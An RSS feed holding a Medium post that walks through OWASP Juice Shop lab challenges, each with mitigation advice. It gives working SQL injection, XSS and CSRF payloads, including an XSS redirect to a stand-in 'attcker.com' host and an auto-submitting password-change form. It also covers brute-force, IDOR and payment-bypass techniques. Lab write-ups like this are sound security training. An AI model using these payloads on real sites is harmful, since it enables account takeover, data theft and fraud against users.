<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Karim Ahmed on Medium]]></title>
        <description><![CDATA[Stories by Karim Ahmed on Medium]]></description>
        <link>https://medium.com/@karimahmed1?source=rss-031cbe5795e9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dJbUHEzCmaa-wV3uRv3IKA.jpeg</url>
            <title>Stories by Karim Ahmed on Medium</title>
            <link>https://medium.com/@karimahmed1?source=rss-031cbe5795e9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 11:17:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@karimahmed1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OWASP  JUICE Shop Solutions : -]]></title>
            <link>https://karimahmed1.medium.com/owasp-juice-shop-solutions-925c6e4f2545?source=rss-031cbe5795e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/925c6e4f2545</guid>
            <category><![CDATA[owasp-juice-shop]]></category>
            <dc:creator><![CDATA[Karim Ahmed]]></dc:creator>
            <pubDate>Thu, 12 Dec 2024 20:06:24 GMT</pubDate>
            <atom:updated>2024-12-23T14:21:04.589Z</atom:updated>
            <content:encoded><![CDATA[<h3>OWASP JUICE Shop Solutions : -</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*92fQdNL5yZFcVX4lbOwRAQ.jpeg" /></figure><h3><strong>1-SQL INJECTION</strong> [union based] :</h3><blockquote>SQL injection in search bar : /rest/products/search?q=</blockquote><p>Retrieve All the Data Base Schema</p><p>if we try to search then intercept the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XGDL6LCaqzpR7hkydktLHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*PVeb2pHJul3-far3XHPt6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0G6K46_qFvScXUJqbgmPEw.png" /></figure><p>if we tried to make error with SQL to see if we see the error in the response :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*8INGmv6KEn_-nZzhqmRXwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*SmeQrGIxy8ZD6Hd_s1-KkA.png" /></figure><p>We got a SQLITE ERROR</p><p>So we know that server is using SQLITE and in SQLITE database name is sqlite_master :</p><p><em>You can read more about SQLITE here : </em><a href="https://www.sqlite.org/schematab.html"><em>https://www.sqlite.org/schematab.html</em></a></p><pre>apple&#39;))UNION%20SELECT%20*%20FROM%20sqlite_master -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*3EyVpXpyNW58hupXWGsAPQ.png" /></figure><p>We got error in the number of columns:</p><p>We can use order by to know the number of columns</p><pre>ORDER BY 3 <br>apple&#39;))ORDER%20BY%2012</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*yY8rLXiQJ2o9F5Qtv2dPIg.png" /></figure><p>So We have 9 Columns , now Let’s continue So we can retrieve the database schema</p><pre>ap&#39;))UNION%20SELECT%20sql,2,3,4,5,6,7,8,9%20FROM%20sqlite_master -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZwCn5P-ISx_n_8DWHIk22A.png" /></figure><p>And Now we can see all the database Schema</p><blockquote><strong>Prevention and Mitigation Strategies</strong>: Using just parameterized query</blockquote><h3>=====================================</h3><h3>2-Boolean-Based SQLI</h3><blockquote>SQL injection in login page :<a href="http://localhost:3000/#/login">http://localhost:3000/#/login</a></blockquote><p>Login in AS admin</p><p>Let’s Try to use simple SQLI payload</p><pre>or 1=1 ; -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*omDff5iCUBy6hXGGXJaMLA.png" /></figure><p>We Could sign in as admin as admin was the first in data base which so we can now easily navigate to the admin panel .</p><p>If we just tried some default admin panels name like <br>admin — administrator — admins — [admin-panel]-administration we can use intruder in burb suit or u can see the file main.js</p><p>Using administration worked now we are in admin panel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PO9m8d39B553xxPiugro6w.png" /></figure><blockquote><strong>Prevention and Mitigation Strategies </strong>: Using just parameterized query</blockquote><h3>=============================================</h3><h3><strong>3-Dom XSS :</strong></h3><p><em>Search Bar</em></p><p>DOM XSS occurs when the client-side JavaScript code modifies the DOM based on user input in an unsafe manner, leading to script execution.</p><p>Let’s Try Simple script</p><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EBhNuEfPGLAOPbaSqQ4QBA.png" /></figure><p>The script didn’t work .</p><p>Let’s try image tag</p><pre>&lt;img src=x onerror=alert(&#39;XSS&#39;)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BrKCeYfdBlNfgdNOx7L04g.png" /></figure><p>It did work</p><p>Now we can make in image tag put onerror redirect link</p><pre>img src=x onerror=&quot;window.location=&#39;attcker.com&#39;&quot;&gt;</pre><p>or Cookie stealing</p><blockquote><strong>Prevention and Mitigation Strategies</strong> :Implement proper input validation and output encoding. Use security libraries and frameworks that handle these issues automatically.</blockquote><h3>===========================================</h3><h3><strong>4-Improper Error Handling</strong> or <strong>Information Disclosure</strong></h3><p>We employed Dirp, a directory brute-forcing tool, to enumerate directories and files on the target application. By using wordlists and custom configurations, Dirp helped uncover hidden endpoints that could aid in further exploitation or information gathering</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ypb_d94ib_hURFZ8rTMrEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*fhi88AqGDEL-RMUy3LWAzw.png" /></figure><p>So First Let’s go to the [*/ftp]:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JIwj8F2-HXiXPezISe0ONg.png" /></figure><blockquote>From all these files, the file named `[acquisitions.md](&lt;<a href="http://acquisitions.md/">http://acquisitions.md</a>&gt;)` contains a line stating that **it is a confidential document</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*Ay_WUEi0VCakuEvRB447ug.png" /></figure><blockquote>Confidential documents should not be stored in such open directory</blockquote><p>Let’s see the [coupons_2013.md.bak]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8YX_tmRsO20iOgGAH3T_GQ.png" /></figure><p>As we see it’s an error that should not regular user see ,If you’re using a vulnerable version of a framework or library (like Express 4.17.1 in this case), attackers might exploit known vulnerabilities</p><blockquote><strong>Prevention and Mitigation Strategies</strong>: Log detailed error information server-side but do not expose it to users -Conduct tests to ensure errors do not expose sensitive information.</blockquote><h3>=============================================</h3><h3><strong>5-Stored XSS :</strong></h3><blockquote>Register page</blockquote><p>After sign up If We intercept the request :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*H08xUumxhghI4QImh6GsZw.png" /></figure><blockquote>note: use back slash to escape quotes ==&gt; escaping client side security</blockquote><p>Let’s Send the request and see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*o003UO0yXc0Rys6Ds6mGjQ.png" /></figure><blockquote>Good , due we now admin has access to all the users logs or registered users so the attack should work properly when admin access the admin panel [/administration]</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*IqaJlQ4Ff8FZ8FsAojsMzA.png" /></figure><h3>=============================================</h3><h3><strong>6-Reflected XSS :</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/218/1*CRO0UvDOdgRTGIHRQW-_3Q.png" /><figcaption>target</figcaption></figure><p>After Ordering a Product <br>we can choose Track order :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*kAWshW3h5zcHId-H6WKeUA.png" /></figure><blockquote>In the URL we Can see id parameter .<br>We can test our payload</blockquote><pre>[&lt;script&gt; alert(1) &lt;/script&gt;]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*8vdGsqW6mmRAJ8ZDUpgdew.png" /></figure><p>It Did not Work .</p><blockquote>Lets Try another one:</blockquote><pre>[&lt;iframe src=&quot;javascript:alert(`xss`)&quot;&gt;] or <br>&lt;img src=&#39;x&#39; onerror=alert(1)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HdkoaAw9t2TKEetOWrYdXg.png" /></figure><h3>=============================================</h3><h3>7-Unrestricted File Upload</h3><p>in:<strong> /#/complain</strong></p><blockquote>Change the file size of file uploaded</blockquote><p>In Complaint form :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*KjS0gNnFMtK1Ixadb482og.png" /></figure><p>Intercept The request :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*lTOxXRmgKhMZ0ObdTSVZug.png" /></figure><p>The Selected Part we test if we make it bigger than allowed 100kb</p><p>Example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*-4t5da0bpo4y4HRPWCvoRA.png" /></figure><p>Forward Our Request :It did work which leads to : Denial of Service (DoS) Attacks , This can result in system crashes, slowdowns, or resource exhaustion</p><blockquote><strong>Prevention and Mitigation Strategies </strong>: <strong>Enforce Server-Side Validation</strong>:</blockquote><blockquote>Validate file size, type, and content on the server, regardless of client-side restrictions.</blockquote><blockquote><strong>Set Maximum Upload Limits</strong>:</blockquote><blockquote>Configure maximum file size limits at the web server and application levels (e.g., php.ini settings like upload_max_filesize and post_max_size).</blockquote><h3>===========================================</h3><h3>8-Unrestricted File Upload</h3><p>in:<strong> /#/complain</strong></p><blockquote>Change the file type of file uploaded</blockquote><p>In Complaint form :</p><p>MANPULATE FILE TYPE</p><p>As we see here :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*k9c3InEFSHkc-S73z83_6g.png" /></figure><p>IT takes only PDF Or ZIP So let’s Try another type :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*dd5Cj9zVTj_sy0BfMmMKBw.png" /></figure><p>Hit send in burp suit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*7RdIUokjIaK3T78qoJjMPw.png" /></figure><p>As we see We Could <br>MANPULATE FILE TYPE And ===&gt;This leads to Web Shell Upload -Remote Code Execution (RCE)</p><blockquote><strong>Prevention and Mitigation Strategies</strong>:</blockquote><blockquote><strong>Restrict Executable Files </strong>: Deny uploads of files with extensions like .php, .jsp, .exe, .sh, or any executable type.</blockquote><blockquote><strong>Verify MIME Types </strong>: Compare the MIME type with the file’s actual content and reject mismatches.</blockquote><h3>=============================================</h3><h3>9-<strong>Authentication vulnerability</strong></h3><blockquote>in:<strong>/#/login</strong></blockquote><p><strong>Brute Force Login (or Password Enumeration)</strong></p><p>Lets Try log in as admin ,After good recon we can see that every user ends with <em>[juice-sh.op]</em></p><p>So let’s assume our admin email is <a href="/service/mailto:admin@juice-sh.op">admin@juice-sh.op</a></p><p>And now let’s see if the website well let us enumerate the password .</p><p>First Open Burp Suit and intercept the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*qEdqh49QJ0HwnetZSuNB7Q.png" /></figure><blockquote>Let’s Send To the intruder :</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*bFgeGXHEFJypiWGzkIT4Aw.png" /></figure><p>choose the password value as our place we need to try our common password list Start the attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*Ob5X4X2yuRAgSNFvAOk6yw.png" /></figure><p>As we see we Found that password is [admin123]</p><blockquote><strong>Prevention and Mitigation Strategies</strong>: <strong>Limit Login Attempts</strong>: Implement account lockout or rate limiting to prevent rapid brute-force attempts.</blockquote><blockquote><strong>Strong Password Policies</strong>: Ensure users are required to use strong, complex passwords that aren’t easily guessed.</blockquote><h3>=============================================</h3><h3>10-IDOR</h3><p>in : view-basket</p><blockquote>change basket_id=2to basket_id=randomNum) and access and see or modify another user&#39;s basket</blockquote><p>After using developer tools (e.g., browser’s Developer Tools or Burp Suite) to inspect the session while viewing our basket we noticed a parameter, such bid, in the request that identifies the basket being viewed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*8HjfUtvNIP6NrRrXwZg1cg.png" /></figure><blockquote>Let’s Try changing The [bid]</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*NeC1WlUnf1tYDRVRSVUaUw.png" /></figure><p>As we see We could See another user Basket</p><h4>10.2- Another way :</h4><p>Check the HTTP traffic while placing products into our own shopping basket to find a leverage point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*CPsgr2ySIwGXHxMURXvcBQ.png" /></figure><p>We can See in the request BasketId :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*R8mN7m9-6w07aoliyFeAtg.png" /></figure><p>First Let’s Send To Repeater<br>So let’s try to change the basket id :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*lXbpw8gTc_0t-dU_eyybBw.png" /></figure><p>Ok Let’s try HPP let’s simply add the parameter [ BasketId] again with another value</p><p>note: If you Do not HPP here is link ==&gt; <a href="https://medium.com/@kumawatabhijeet2002/day-14-of-30-days-30-vulnerabilities-http-parameter-pollution-hpp-vulnerability-6c767a9227d8">HPP</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*HLU4rHUgZZEooxVCk5GVYA.png" /></figure><p>And it worked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*VCpqDEdsMsRwsLVNjQ-emQ.png" /></figure><p>Now if we next time manipulate both basketId and quantity we can add more products in another user’s basket</p><blockquote><strong>Prevention and Mitigation Strategies</strong>: Implement proper access control checks on both server-side and client-side. Validate user permissions for each action to ensure users can only access and modify their own resources</blockquote><h3>=============================================</h3><h3>11-Horizontal Access Control Violation</h3><blockquote>in :/rest/product/<strong>*/review</strong></blockquote><p>where * any number</p><p>Change The Review Original Author</p><p>IF We need To change a review’s author ,so First Let’s review a product</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*BgdH0-HqJb2MyJeU9at5zw.png" /></figure><p>I Already Let my burp suit open ,So let’s See The requests</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*HorRnhpGlat2t6fSSHHTOQ.png" /></figure><p>The highlighted , Let’s send To repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*I3GsUVq8qEBiHGOLyTKy9A.png" /></figure><p>Here As we see in the request the message and it’s author are sent in the body ,so we can try to change it to another user .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*hgW2vvRKhI-Tp9dOc_Hrrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*kMnEqi_fd3m5P-v9q1lFHw.png" /></figure><p>As we see it did really worked .</p><blockquote><strong>Prevention and Mitigation Strategies</strong>:</blockquote><blockquote><strong>Verify Ownership</strong>: When a user attempts to modify or interact with a review (e.g., changing the author or editing the review), ensure that the logged-in user is the <strong>owner</strong> of the review or has permission to modify it.</blockquote><blockquote><strong>Access Control</strong>: Implement role-based access control (RBAC) or object-level access control to restrict actions based on user roles. Only authorized users (e.g., admins or the actual author) should be allowed to change the review’s author or edit the content.</blockquote><h3>=============================================</h3><h3>12-Improper Input Validation :</h3><blockquote>The basket functionality is vulnerable to improper input validation .I can modify the parameter quantity in my basket to be negative</blockquote><p>First : If we try to intercept the requests of adding products and check the burpsuit http history :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*tTVu61JJhaWZoVxu3-sy_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*89HW4-84CvxwnDy74xyeaw.png" /></figure><p>Send to repeater and Let’s see how the app deals when put the quantity with negative value :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*iggtFNYBfYy6Mai8nqevyg.png" /></figure><p>Send our request and see :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*LJyAfZCjPlVFrql0_y6CrA.png" /></figure><p>As we see it accepts the negative value now Let’s normally continue the payment .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BcB2tAGxEr3ee2RXqRrRIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hs20t5psxRMHcti92Di0VQ.png" /></figure><p>As we see the number I will pay is (-7.49) which is not normal now let’s pay and check our wallet .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*k6UwsHe2U_sadbGyMvMkdA.png" /></figure><p>As you see we got money instead of paying for purchasing items .</p><blockquote><strong>Prevention and Mitigation Strategies</strong>:Perform server-side checks to validate the quantity before processing transactions</blockquote><h3>=============================================</h3><h3>13-Cross-Site Request Forgery (CSRF) :</h3><blockquote>The change password functionality is vulnerable to CSRF attacks</blockquote><p>First Let’s intercept the change password Request :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*tTvvCi51uaXWha2b0UXFXg.png" /></figure><p>Let’s Send to see the response :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*yCA37vbGMQ38zkVbUPydxQ.png" /></figure><p>Successfully changed to the new password</p><p>Now Let’s see if we can change current password to any thing so we see how it deals with it :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*T6rJlJMf2QhH9v_clG_-Kw.png" /></figure><p>send it :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*7NJJ9gFQC4yGo0OGrtDxbw.png" /></figure><p>That was incorrect so that means we can not perform CSRF until we know the current password , so let’s try to remove the current and send the request :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*wWzWqJRkYGRtVdElrObQmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*FL2bNFTToQCLDeL3cmHbmg.png" /></figure><p>That is good now we can send the request without the current password , so now there is no any parameter we do not know its value now we can perform our CSRF attack .</p><pre>&lt;html&gt;<br>  &lt;body&gt;<br>    &lt;form action=&quot;http://localhost:3000/rest/user/change-password&quot;&gt;<br>      &lt;input type=&quot;hidden&quot; name=&quot;new&quot; value=&quot;password&quot; /&gt;<br>      &lt;input type=&quot;hidden&quot; name=&quot;repeat&quot; value=&quot;password&quot; /&gt;<br>      &lt;input type=&quot;submit&quot; value=&quot;Submit request&quot; /&gt;<br>    &lt;/form&gt;<br>    &lt;script&gt;<br>      history.pushState(&#39;&#39;, &#39;&#39;, &#39;/&#39;);<br>      document.forms[0].submit();<br>    &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><blockquote><strong>Prevention and Mitigation Strategies</strong>: Implement anti-CSRF tokens to validate the authenticity of requests. Ensure that all state-changing requests require a unique token that is verified on the server-side.</blockquote><h3>=============================================</h3><h3>14-<strong>Brute force attack :</strong></h3><p>In Forget password</p><blockquote>There is important parameter which is<strong><em> [answer ]</em></strong> means before we attempt to change another user’s password we need to know what is the answer of his security question <br>First I did not think in the brute force attack ,so let’s intercept the forget password request</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*BgdY1T3tSkwALCJhqsM7rw.png" /></figure><p>As we see there are 4 parameters and I put the victims email so first let’s send to see the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*m34O-XjilqU9PGW9awW49w.png" /></figure><blockquote>As expected wrong ok now , what I did think in was first <br>let’s send the request with no answer parameter maybe it will pass and successfully change the password.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*XsweMw8Cgg5fC3AQqqXl_Q.png" /></figure><p>We got error :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*_3NIvZ47PfhVZrVAi8nEag.png" /></figure><p>Second thing we tried let’s put our email or email we know it’s answer and put victim’s email :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*M6YwMbLQlz6jldrqIHt-aA.png" /></figure><p>AGAIN GOT ERRRO :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*J4MoNGUvCiRveeUiTAlImw.png" /></figure><p>so I did think in the brute force attack on the answer , so let’s send to intruder .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*p4e8AP8sk3d4G2IuAaNFXA.png" /></figure><p>We got our target is the answer <br>so i got simple common list of names and a list based on the questions</p><pre>[Your eldest siblings middle name?<br>Mother&#39;s maiden name?<br>Mother&#39;s birth date? (MM/DD/YY)<br>Father&#39;s birth date? (MM/DD/YY)<br>Maternal grandmother&#39;s first name?<br>Paternal grandmother&#39;s first name?<br>Name of your favorite pet?<br>Last name of dentist when you were a teenager? (Do not include &#39;Dr.&#39;)<br>Your ZIP/postal code when you were a teenager?<br>Company you first work for as an adult?<br>Your favorite book?<br>Your favorite movie?<br>Number of one of your customer or ID cards?<br>What&#39;s your favorite place to go hiking?]</pre><h3>============================================</h3><h3>15-Improper Input Validation [2] :</h3><blockquote>Gain Deluxe membership with no paying using burpsuit</blockquote><p>First After Creating new account Let’s navigate to the deluxe membership</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-xXgz99l7FWI5xwx4BETUw.png" /></figure><p>Click on the Become a member :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ke2shGhQPVYN-TXTo2rOQA.png" /></figure><p>As we see We do not have the proper amount in our wallet , now using burpsuit Intercept the request :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*TNqBoL6caW9zMTuLO3-QQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*NiuDtz1VCUbj3U6qlUOIkg.png" /></figure><blockquote>So First Let’s see if we can send the request with no [paymentMode] value</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*ek6GeZ-SHZCkyoGkA22kuw.png" /></figure><p>send the edited request :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*1I5rvVM7oDT39AEITX4QCQ.png" /><figcaption>response</figcaption></figure><blockquote><strong>Prevention and Mitigation Strategies</strong>: Validate relevant information on the server side. The server should not issue a deluxe token or change the user’s role without verifying that payment had been received. That it didn’t even verify that a mode of payment had been selected is a major flaw, and one I would hope is extraordinarily infrequent in the real world</blockquote><h3>==========================================</h3><h3>16-<strong>Information disclosure :</strong></h3><p>Revealed more information about the database.</p><p>while checking the my basket I saw a request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*PlfDECBofC0_LHtw3SglOw.png" /></figure><p>Let’s see what we can do ,First send it to repeater :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*cnt2vq0UzQIPG_CLloQ52w.png" /></figure><p>Let’s try inputting a value it didn’t expect:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*U4xUH94OwVDv1HhAUcsz0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*V2J7Ns2m4O23lPtQx5dJ8w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*eND9tpEppxJRuSK2iOlGog.png" /></figure><h3>=============================================</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=925c6e4f2545" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>